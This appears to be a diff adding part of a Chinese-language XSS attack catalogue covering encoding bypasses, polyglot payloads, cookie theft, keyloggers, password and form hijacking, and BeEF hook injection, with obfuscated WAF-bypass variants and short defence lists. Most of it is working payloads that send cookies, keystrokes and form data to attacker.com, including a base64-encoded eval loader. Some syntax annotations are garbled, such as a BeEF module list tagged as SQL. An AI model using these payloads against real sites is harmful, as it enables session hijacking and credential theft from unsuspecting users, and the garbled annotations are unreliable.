+ <img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">
980
+ <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a>
981
+ ```
982
+ **语法解析:**
983
+ - `<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">` — HTML标签/事件处理器 _tag_
984
+ - `
985
+ ` — 注入代码 _value_
986
+ - `<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">` — HTML标签/事件处理器 _tag_
987
+ - `click` — 注入代码 _value_
988
+ - `</a>` — HTML标签/事件处理器 _tag_
989
+
990
+ **WAF/EDR 绕过变体:**
991
+
992
+ **双重URL编码**
993
+ > 双重URL编码
994
+ ```
995
+ %253Cscript%253Ealert(1)%253C/script%253E
996
+ 服务器解码两次时使用
997
+ ```
998
+ **语法解析:**
999
+ - `%253Cscript%253Ealert(1)%253C/script%253E
1000
+ 服务器解码两次时使用` — 注入代码 _value_
1001
+
1002
+ **UTF-16编码**
1003
+ > UTF-16编码绕过
1004
+ ```
1005
+ %00%3C%00s%00c%00r%00i%00p%00t%00%3Ealert(1)%00%3C/s%00c%00r%00i%00p%00t%00%3E
1006
+ ```
1007
+ **语法解析:**
1008
+ - `%00%3C%00s%00c%00r%00i%00p%00t%00%3Ealert(1)%00%3C/s%00c%00r%00i%00p%00t%00%3E` — 注入代码 _value_
1009
+
1010
+
1011
+ **概述:** XSS编码绕过利用多层编码(HTML实体、URL编码、JavaScript编码、Unicode)和浏览器的解码顺序差异,使payload在过滤器检查时不被识别但在浏览器渲染时被正确解析执行。
1012
+
1013
+ **漏洞原理:** XSS多层编码攻击:1)HTML实体编码(&#x6A;avascript:alert(1)) 2)双重URL编码(%253Cscript%253E) 3)JavaScript unicode转义(\u0061lert) 4)八进制/十六进制编码 5)混合编码(HTML实体+JS编码) 6)Base64 data URI(data:text/html;base64,PHN...)。
1014
+
1015
+ **利用方法:** 完整利用流程:
1016
+ 1. 分析编码处理流程
1017
+ 2. 选择合适的编码方式
1018
+ 3. 构造编码后的payload
1019
+ 4. 验证绕过效果
1020
+
1021
+ **防御措施:** 防御措施:
1022
+ 1. 统一编码处理
1023
+ 2. 避免多次解码
1024
+ 3. 输出时进行编码
1025
+ 4. 使用安全的编码函数
1026
+
1027
+ ---
1028
+
1029
+ ### Polyglot XSS `xss-polyglot`
1030
+ _多环境通用的XSS payload_
1031
+ 子类:**Polyglot** · tags: `xss` `polyglot` `universal`
1032
+
1033
+ **前置条件:**
1034
+ - 存在XSS注入点
1035
+ - 不确定具体环境
1036
+
1037
+ **攻击链:**
1038
+
1039
+ **1. 经典Polyglot**
1040
+ > 经典多环境Polyglot
1041
+ ```
1042
+ jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
1043
+ ```
1044
+ **语法解析:**
1045
+ - `jaVasCript:` — JavaScript协议,大小写混合 _value_
1046
+ - `/*-/*`/*\`/*` — 注释和模板字符串混淆 _value_
1047
+ - `oNcLiCk=alert()` — 点击事件 _function_
1048
+ - `</stYle/</titLe` — 闭合多种标签 _value_
1049
+ - `<sVg/oNloAd=alert()` — SVG标签XSS _tag_
1050
+
1051
+ **2. 短Polyglot**
1052
+ > 短版本Polyglot
1053
+ ```
1054
+ '"-->]]>*/</script></style></title></textarea><script>alert(1)</script>
1055
+ ```
1056
+
1057
+ **3. 属性注入Polyglot**
1058
+ > 属性值注入Polyglot
1059
+ ```
1060
+ 'onmouseover=alert(1) x='
1061
+ "onfocus=alert(1) autofocus x="
1062
+ 'onclick=alert(1)//
1063
+ ```
1064
+
1065
+ **4. URL参数Polyglot**
1066
+ > URL参数Polyglot
1067
+ ```
1068
+ javascript:alert(1)//http://
1069
+ data:text/html,<script>alert(1)</script>
1070
+ ```
1071
+
1072
+ **WAF/EDR 绕过变体:**
1073
+
1074
+ **高级Polyglot**
1075
+ > 简洁高效Polyglot
1076
+ ```
1077
+ -->'"<svg onload=alert(1)>"><script>alert(1)</script>
1078
+ ```
1079
+ **语法解析:**
1080
+ - `-->` — HTML注释结束符 _technique_
1081
+ - `<svg onload=alert(1)>` — SVG事件处理器触发XSS _tag_
1082
+ - `<script>alert(1)</script>` — 脚本标签执行 _tag_
1083
+
1084
+
1085
+ **概述:** XSS Polyglot是一种在多种上下文(HTML/JS/属性/URL/CSS)中均能触发执行的通用XSS payload,一个精心构造的字符串可同时适用于不同注入点,极大提高了Fuzzing效率。
1086
+
1087
+ **漏洞原理:** Polyglot XSS利用HTML/JS/CSS解析器的容错机制:一个payload包含闭合引号、HTML标签、JS注释、事件处理器等多种元素,使其在作为HTML属性值、JS字符串、CSS值或URL参数时都能逃逸上下文并执行脚本。
1088
+
1089
+ **利用方法:** 完整利用流程:
1090
+ 1. 使用Polyglot探测注入点
1091
+ 2. 观察payload在哪个上下文执行
1092
+ 3. 根据结果调整攻击策略
1093
+
1094
+ **防御措施:** 防御措施:
1095
+ 1. 严格区分输入上下文
1096
+ 2. 针对性编码输出
1097
+ 3. 使用CSP策略
1098
+ 4. 输入验证和白名单
1099
+
1100
+ ---
1101
+
1102
+ ### XSS Cookie窃取 `xss-cookie-theft`
1103
+ _利用XSS窃取用户Cookie_
1104
+ 子类:**Cookie窃取** · tags: `xss` `cookie` `theft` `session`
1105
+
1106
+ **前置条件:**
1107
+ - 存在XSS漏洞
1108
+ - Cookie未设置HttpOnly
1109
+
1110
+ **攻击链:**
1111
+
1112
+ **1. 基础Cookie窃取**
1113
+ > 使用Image对象发送Cookie
1114
+ ```
1115
+ <script>new Image().src="http://attacker.com/steal?c="+document.cookie</script>
1116
+ ```
1117
+ **语法解析:**
1118
+ - `new Image()` — 创建图片对象 _function_
1119
+ - `.src` — 设置图片源触发HTTP请求 _value_
1120
+ - `document.cookie` — 获取当前页面Cookie _function_
1121
+
1122
+ **2. Fetch API窃取**
1123
+ > 使用Fetch/Beacon API
1124
+ ```
1125
+ <script>fetch("http://attacker.com/steal?c="+document.cookie)</script>
1126
+ <script>navigator.sendBeacon("http://attacker.com/steal", document.cookie)</script>
1127
+ ```
1128
+ **语法解析:**
1129
+ - `fetch()` — 现代HTTP请求API _function_
1130
+ - `sendBeacon()` — 异步发送数据,不阻塞页面 _function_
1131
+
1132
+ **3. XMLHttpRequest窃取**
1133
+ > 使用XHR发送
1134
+ ```
1135
+ <script>
1136
+ var xhr = new XMLHttpRequest();
1137
+ xhr.open("GET", "http://attacker.com/steal?c="+document.cookie, true);
1138
+ xhr.send();
1139
+ </script>
1140
+ ```
1141
+ **语法解析:**
1142
+ - `<script>` — HTML标签/事件处理器 _tag_
1143
+ - `
1144
+ var xhr = new XMLHttpRequest();
1145
+ xhr.open("GET", "http://attacker.com/steal?c="+document.cookie, true);
1146
+ xhr.send();
1147
+ ` — 注入代码 _value_
1148
+ - `</script>` — HTML标签/事件处理器 _tag_
1149
+
1150
+ **4. 编码传输**
1151
+ > Base64编码传输
1152
+ ```
1153
+ <script>
1154
+ var data = btoa(document.cookie);
1155
+ new Image().src="http://attacker.com/steal?c="+data;
1156
+ </script>
1157
+ ```
1158
+ **语法解析:**
1159
+ - `btoa()` — Base64编码函数 _function_
1160
+
1161
+ **5. 完整利用脚本**
1162
+ > 收集完整信息
1163
+ ```
1164
+ <script>
1165
+ var img = new Image();
1166
+ img.src = "http://attacker.com/log?cookie=" + encodeURIComponent(document.cookie) + "&location=" + encodeURIComponent(location.href) + "&ua=" + encodeURIComponent(navigator.userAgent);
1167
+ </script>
1168
+ ```
1169
+ **语法解析:**
1170
+ - `<script>` — HTML标签/事件处理器 _tag_
1171
+ - `
1172
+ var img = new Image();
1173
+ img.src = "http://attacker.com/log?cookie=" + encodeURIComponent(document.cookie) + "&location=" + encodeURIComponent(location.href) + "&ua=" + encodeURIComponent(navigator.userAgent);
1174
+ ` — 注入代码 _value_
1175
+ - `</script>` — HTML标签/事件处理器 _tag_
1176
+
1177
+ **WAF/EDR 绕过变体:**
1178
+
1179
+ **混淆绕过**
1180
+ > 变量混淆绕过
1181
+ ```
1182
+ <script>var _0x1234="cookie";eval("new Image().src=\"http://attacker.com/?c="+document[_0x1234]+"\"")</script>
1183
+ ```
1184
+ **语法解析:**
1185
+ - `<script>` — HTML标签/事件处理器 _tag_
1186
+ - `var _0x1234="cookie";eval("new Image().src=\"http://attacker.com/?c="+document[_0x1234]+"\"")` — 注入代码 _value_
1187
+ - `</script>` — HTML标签/事件处理器 _tag_
1188
+
1189
+
1190
+ **概述:** XSS Cookie窃取是最经典的XSS利用方式之一,通过注入的脚本读取document.cookie并发送到攻击者控制的服务器,从而劫持用户会话。HttpOnly标志可有效防御此攻击。
1191
+
1192
+ **漏洞原理:** Cookie窃取攻击利用JavaScript的document.cookie API读取所有未设置HttpOnly标志的Cookie,通过Image对象/fetch/XMLHttpRequest等方式将Cookie外发到攻击者服务器。获取Cookie后可直接劫持用户会话登录账户。
1193
+
1194
+ **利用方法:** 完整利用流程:
1195
+ 1. 发现XSS漏洞
1196
+ 2. 构造Cookie窃取脚本
1197
+ 3. 诱使受害者触发
1198
+ 4. 获取Cookie接管会话
1199
+
1200
+ **防御措施:** 防御措施:
1201
+ 1. 设置HttpOnly标志
1202
+ 2. 设置Secure标志
1203
+ 3. 使用SameSite属性
1204
+ 4. 实施会话绑定验证
1205
+
1206
+ ---
1207
+
1208
+ ### XSS键盘记录 `xss-keylogger`
1209
+ _利用XSS记录用户键盘输入_
1210
+ 子类:**键盘记录** · tags: `xss` `keylogger` `credential`
1211
+
1212
+ **前置条件:**
1213
+ - 存在存储型XSS
1214
+ - 目标页面有敏感输入
1215
+
1216
+ **攻击链:**
1217
+
1218
+ **1. 基础键盘记录**
1219
+ > 监听键盘按键
1220
+ ```
1221
+ <script>
1222
+ document.addEventListener("keypress", function(e){
1223
+ new Image().src = "http://attacker.com/log?key=" + e.key;
1224
+ });
1225
+ </script>
1226
+ ```
1227
+ **语法解析:**
1228
+ - `addEventListener` — 添加事件监听器 _function_
1229
+ - `keypress` — 键盘按下事件 _value_
1230
+ - `e.key` — 按下的键值 _value_
1231
+
1232
+ **2. 完整键盘记录**
1233
+ > 按Enter发送记录
1234
+ ```
1235
+ <script>
1236
+ var buffer = "";
1237
+ document.addEventListener("keydown", function(e){
1238
+ if(e.key === "Enter"){
1239
+ new Image().src = "http://attacker.com/log?data=" + encodeURIComponent(buffer);
1240
+ buffer = "";
1241
+ } else {
1242
+ buffer += e.key;
1243
+ }
1244
+ });
1245
+ </script>
1246
+ ```
1247
+ **语法解析:**
1248
+ - `<script>` — HTML标签/事件处理器 _tag_
1249
+ - `
1250
+ var buffer = "";
1251
+ document.addEventListener("keydown", function(e){
1252
+ if(e.key === "Enter"){
1253
+ new Image().src = "http://attacker.com/log?data=" + encodeURIComponent(buffer);
1254
+ buffer = "";
1255
+ } else {
1256
+ buffer += e.key;
1257
+ }
1258
+ });
1259
+ ` — 注入代码 _value_
1260
+ - `</script>` — HTML标签/事件处理器 _tag_
1261
+
1262
+ **3. 表单窃取**
1263
+ > 窃取密码字段
1264
+ ```
1265
+ <script>
1266
+ document.querySelectorAll("input[type=password]").forEach(function(input){
1267
+ input.addEventListener("change", function(){
1268
+ new Image().src = "http://attacker.com/log?pwd=" + this.value;
1269
+ });
1270
+ });
1271
+ </script>
1272
+ ```
1273
+ **语法解析:**
1274
+ - `querySelectorAll` — 选择所有匹配元素 _function_
1275
+ - `input[type=password]` — 密码输入框选择器 _value_
1276
+ - `change` — 值改变事件 _value_
1277
+
1278
+ **4. 表单提交劫持**
1279
+ > 劫持表单提交
1280
+ ```
1281
+ <script>
1282
+ document.querySelectorAll("form").forEach(function(form){
1283
+ form.addEventListener("submit", function(e){
1284
+ var data = new FormData(this);
1285
+ new Image().src = "http://attacker.com/log?" + new URLSearchParams(data).toString();
1286
+ });
1287
+ });
1288
+ </script>
1289
+ ```
1290
+ **语法解析:**
1291
+ - `<script>` — HTML标签/事件处理器 _tag_
1292
+ - `
1293
+ document.querySelectorAll("form").forEach(function(form){
1294
+ form.addEventListener("submit", function(e){
1295
+ var data = new FormData(this);
1296
+ new Image().src = "http://attacker.com/log?" + new URLSearchParams(data).toString();
1297
+ });
1298
+ });
1299
+ ` — 注入代码 _value_
1300
+ - `</script>` — HTML标签/事件处理器 _tag_
1301
+
1302
+ **WAF/EDR 绕过变体:**
1303
+
1304
+ **混淆版本**
1305
+ > 十六进制混淆
1306
+ ```
1307
+ <script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Image().src="http://attacker.com/?k="+_0xb[_0xa[0]]})</script>
1308
+ ```
1309
+ **语法解析:**
1310
+ - `<script>` — HTML标签/事件处理器 _tag_
1311
+ - `var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Image().src="http://attacker.com/?k="+_0xb[_0xa[0]]})` — 注入代码 _value_
1312
+ - `</script>` — HTML标签/事件处理器 _tag_
1313
+
1314
+
1315
+ **概述:** XSS键盘记录器通过注入JavaScript事件监听器捕获用户的所有键盘输入,包括密码、信用卡号等敏感信息,并实时发送给攻击者,比Cookie窃取危害更大且更隐蔽。
1316
+
1317
+ **漏洞原理:** XSS键盘记录利用addEventListener监听keypress/keydown/input事件,捕获用户在页面上的所有键盘输入。攻击者可针对特定输入框(如密码框)监听,将捕获的按键通过Image beacon或WebSocket实时外发,用户完全无感知。
1318
+
1319
+ **利用方法:** 完整利用流程:
1320
+ 1. 注入键盘记录脚本
1321
+ 2. 持续收集按键数据
1322
+ 3. 发送到攻击者服务器
1323
+ 4. 分析获取敏感信息
1324
+
1325
+ **防御措施:** 防御措施:
1326
+ 1. 严格的XSS防护
1327
+ 2. 使用虚拟键盘输入敏感信息
1328
+ 3. 实施内容安全策略
1329
+ 4. 监控异常脚本行为
1330
+
1331
+ ---
1332
+
1333
+ ### BeEF框架利用 `xss-beef`
1334
+ _使用BeEF框架进行XSS利用_
1335
+ 子类:**BeEF利用** · tags: `xss` `beef` `framework` `exploitation`
1336
+
1337
+ **前置条件:**
1338
+ - 存在XSS漏洞
1339
+ - 部署BeEF服务器
1340
+
1341
+ **攻击链:**
1342
+
1343
+ **1. 部署BeEF**
1344
+ > 部署BeEF服务器
1345
+ _platform: linux_
1346
+ ```
1347
+ # 安装BeEF
1348
+ git clone https://github.com/beefproject/beef
1349
+ cd beef
1350
+ bundle install
1351
+ ./beef
1352
+
1353
+ # 默认运行在 http://localhost:3000
1354
+ # 默认用户名: beef
1355
+ # 默认密码: beef
1356
+ ```
1357
+ **语法解析:**
1358
+ - `# 安装BeEF
1359
+ git clone https://github.com/beefproject/beef
1360
+ cd beef
1361
+ bundle install` — 攻击载荷 _value_
1362
+
1363
+ **2. 注入Hook脚本**
1364
+ > 注入BeEF Hook
1365
+ ```
1366
+ <script src="http://attacker.com:3000/hook.js"></script>
1367
+ 注入短版本:
1368
+ <script src="//attacker.com:3000/hook.js"></script>
1369
+ ```
1370
+ **语法解析:**
1371
+ - `hook.js` — BeEF的Hook脚本 _value_
1372
+ - `attacker.com:3000` — BeEF服务器地址 _domain_
1373
+
1374
+ **3. 常用命令**
1375
+ > BeEF控制台命令
1376
+ ```
1377
+ # BeEF控制台常用命令
1378
+ # 查看在线僵尸
1379
+ beef> online_browsers
1380
+
1381
+ # 执行命令
1382
+ beef> run social_engineering fake_notification
1383
+
1384
+ # 获取Cookie
1385
+ beef> run browser get_cookies
1386
+
1387
+ # 重定向页面
1388
+ beef> run browser redirect https://evil.com
1389
+ ```
1390
+ **语法解析:**
1391
+ - `# BeEF控制台常用命令
1392
+ # 查看在线僵尸
1393
+ beef> online_browsers
1394
+
1395
+ # 执行命令
1396
+ beef> run social_engin` — 攻击载荷 _value_
1397
+
1398
+ **4. 模块利用**
1399
+ > BeEF模块列表
1400
+ ```
1401
+ # 常用模块
1402
+ # 社会工程学
1403
+ - Fake Notification
1404
+ - Fake Flash Update
1405
+ - Pretty Theft
1406
+
1407
+ # 浏览器攻击
1408
+ - Get Cookie
1409
+ - Redirect Browser
1410
+ - TabNabbing
1411
+
1412
+ # 网络攻击
1413
+ - DNS Spoofing
1414
+ - Ping Sweep
1415
+ - Port Scanner
1416
+ ```
1417
+ **语法解析:**
1418
+ - `# 常用模块
1419
+ # 社会工程学
1420
+ - Fake Notification
1421
+ - Fake Flash ` — SQL表达式 _value_
1422
+ - `Update` — SQL关键字 _keyword_
1423
+ - `
1424
+ - Pretty Theft
1425
+
1426
+ # 浏览器攻击
1427
+ - Get Cookie
1428
+ - Redirect Browser
1429
+ - TabNabbing
1430
+
1431
+ # 网络攻击
1432
+ - DNS Spoofing
1433
+ - Ping Sweep
1434
+ - Port Scanner` — SQL表达式 _value_
1435
+
1436
+ **WAF/EDR 绕过变体:**
1437
+
1438
+ **混淆Hook URL**
1439
+ > Base64混淆Hook注入
1440
+ ```
1441
+ <script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw=="))</script>
1442
+ ```
1443
+ **语法解析:**
1444
+ - `<script>` — HTML标签/事件处理器 _tag_
1445
+ - `eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw=="))` — 注入代码 _value_
1446
+ - `</script>` — HTML标签/事件处理器 _tag_
1447
+
1448
+
1449
+ **概述:** BeEF(Browser Exploitation Framework)是一个开源的浏览器利用框架,通过XSS注入hook.js脚本控制受害者浏览器,可执行内网扫描、键盘记录、社工攻击、漏洞利用等数百种后渗透操作。
1450
+
1451
+ **漏洞原理:** BeEF利用一段JavaScript hook脚本(hook.js)建立与C2服务器的WebSocket长连接,将受害者浏览器变为僵尸节点。可执行的操作包括:获取浏览器信息、截屏、重定向、表单注入、内网端口扫描、ARP欺骗(WebRTC)等。
1452
+
1453
+ **利用方法:** 完整利用流程:
1454
+ 1. 部署BeEF服务器
1455
+ 2. 注入Hook脚本
1456
+ 3. 受害者上线
1457
+ 4. 使用模块进行攻击
1458
+
1459
+ **防御措施:** 防御措施:
1460
+ 1. 严格的XSS防护
1461
+ 2. 使用CSP限制外部脚本
1462
+ 3. 监控异常网络连接
1463
+ 4. 安全意识培训
1464
+
1465
+ ---